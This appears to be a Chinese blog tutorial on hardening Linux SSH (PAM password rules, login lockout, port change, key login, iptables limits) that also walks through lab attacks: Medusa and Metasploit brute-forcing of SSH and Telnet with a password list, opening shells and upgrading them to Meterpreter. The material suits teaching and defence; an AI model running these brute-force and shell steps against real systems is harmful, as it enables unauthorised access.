您的当前位置:首页正文

1 Linux SSH安全加固_linux system-auth

来源:九壹网

修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值


​ 2.设置密码复杂度



方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:
ucredit=-1 #至少包含1位大写字母
lcredit=-1 #至少包含1位小写字母
ocredit=-1 #至少包含1位特殊字符
dcredit=-1 #至少包含1位数字
方法二:使用如下命令:
authconfig --enablereqlower --update
authconfig --enablerequpper --update
authconfig --enablereqdigit --update
authconfig --enablereqother --update


## 三、设置密码重试限制


1.限制tty登录



修改login文件:

vi /etc/pam.d/login

在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600

注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。

普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒

deny=5表示密码输入错误5次

unlock_time=1800表示普通用户锁定的时间,单位为秒

root_unlock_time=3600表示root用户锁定的时间,单位为秒

even_deny_root表示root用户也锁定


2.限制ssh登录



vi /etc/pam.d/sshd

在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800

注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。


## 扩展


## 1、Medusa SSH弱口令破解


如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统


**Medusa对特点的ssh服务进行用户名和密码破解**



将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678

用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117144519389.png#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117145044707.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117145452601.png#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117145444172.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)


## 2、Metasploit利用SSH登录反弹Shell


使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。



msfconsole

msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options

msf>set password msadmin
msf>show options

运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117150524918.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117150725372.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117150933248.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117151042581.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117151123832.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117151218899.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)


## 3、Metasploit获取Metaspreter Shell


利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell



msfconsole

msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

登录系统
msf>run

查看会话2的具体信息
msf>sessions -u 2
msf>sessions -l

查看帮助
msf>help
msf>msf>sessions -u 4
msf>exit


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117151929645.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117152005272.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117152149931.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 查看连接情况



netstat -pantu

#ifconfig


![在这里插入图片描述](https://img-blog.csdnimg.cn/2020111715253284.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)



msfconsole

msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>run

msf>sessions -l

查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l

查看登录的系统版本信息
msf>sysinfo
msf>


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117153010517.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117153107912.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020111715322489.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117153356720.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)


## SSH安全防御


1、SSH修改默认端口  
 2、SSH防御暴力破解用户账号  
 3、SSH设置PGP登录  
 4、Iptables设置阈值防止暴力破解


## 1、SSH修改默认端口


默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口



#service sshd status
#vi /etc/ssh/sshd_conifg
port 66

#service sshd restart


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117154058912.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 注意:修改之后,必须重启ssh服务


## 2、SSH防御暴力破解用户账号


在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020111715592945.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 出现问题 :不能使用用户密码登录,很大程度上存在复杂操作  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117160424330.png#pic_center)


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117160406268.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 测试  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020111716055227.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 配置成功


## 3、SSH设置PGP登录


默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117154719308.png#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117154806661.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117154939357.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155057881.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155110664.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155133763.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155247516.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155313301.png#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155332822.png#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117155406801.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)


## 4、Iptables设置阈值防止暴力破解


利用Iptables对多次连接验证错误,进行账户锁定120秒



#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --set
#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP

#service ssh restart


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117161306985.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 在设置完之后,需要重新启动SSH服务


## 暴力破解、认证过程、登录提权


1、telnet版本获取  
 2、telnet密码破解  
 3、telnet登录测试  
 针对Telnet暴力破解


Telnet服务端默认情况下使用23端口  
 **1、telnet版本获取**  
 使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。



#nmap -p23 -sV 192.168.1.105


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117164510780.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 使用msfconsole



msfconsole

msf>use auxiliary/scanner/telnet/telnet_version
msf>show options
运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1

msf>search telnet


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117165447857.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117165605861.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 **2、telnet密码破解**  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117165721703.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)



msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password
查看用户密码
msf>show options

取消查看用户密码
msf>unset password
msf>show options

msf>set pass_file /root/Desktop/pass.txt
msf>set threads 10

运行命令,从pass.txt中的密码一个一个测试
msf>run
msf>
msf>


![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117170311716.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117170459107.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117170742108.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117171003799.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117171055107.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117171221124.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70#pic_center)  
 **3、telnet登录测试**  
 使用破解好的会话链接telnet,并执行对应命令。  
 使用sessions -l 例举建立的会话  
 使用sessions -i id 使用对应的会话



msf>sessions -l
msf>sessions -i id

#ifconfig

因篇幅问题不能全部显示,请点此查看更多更全内容

Top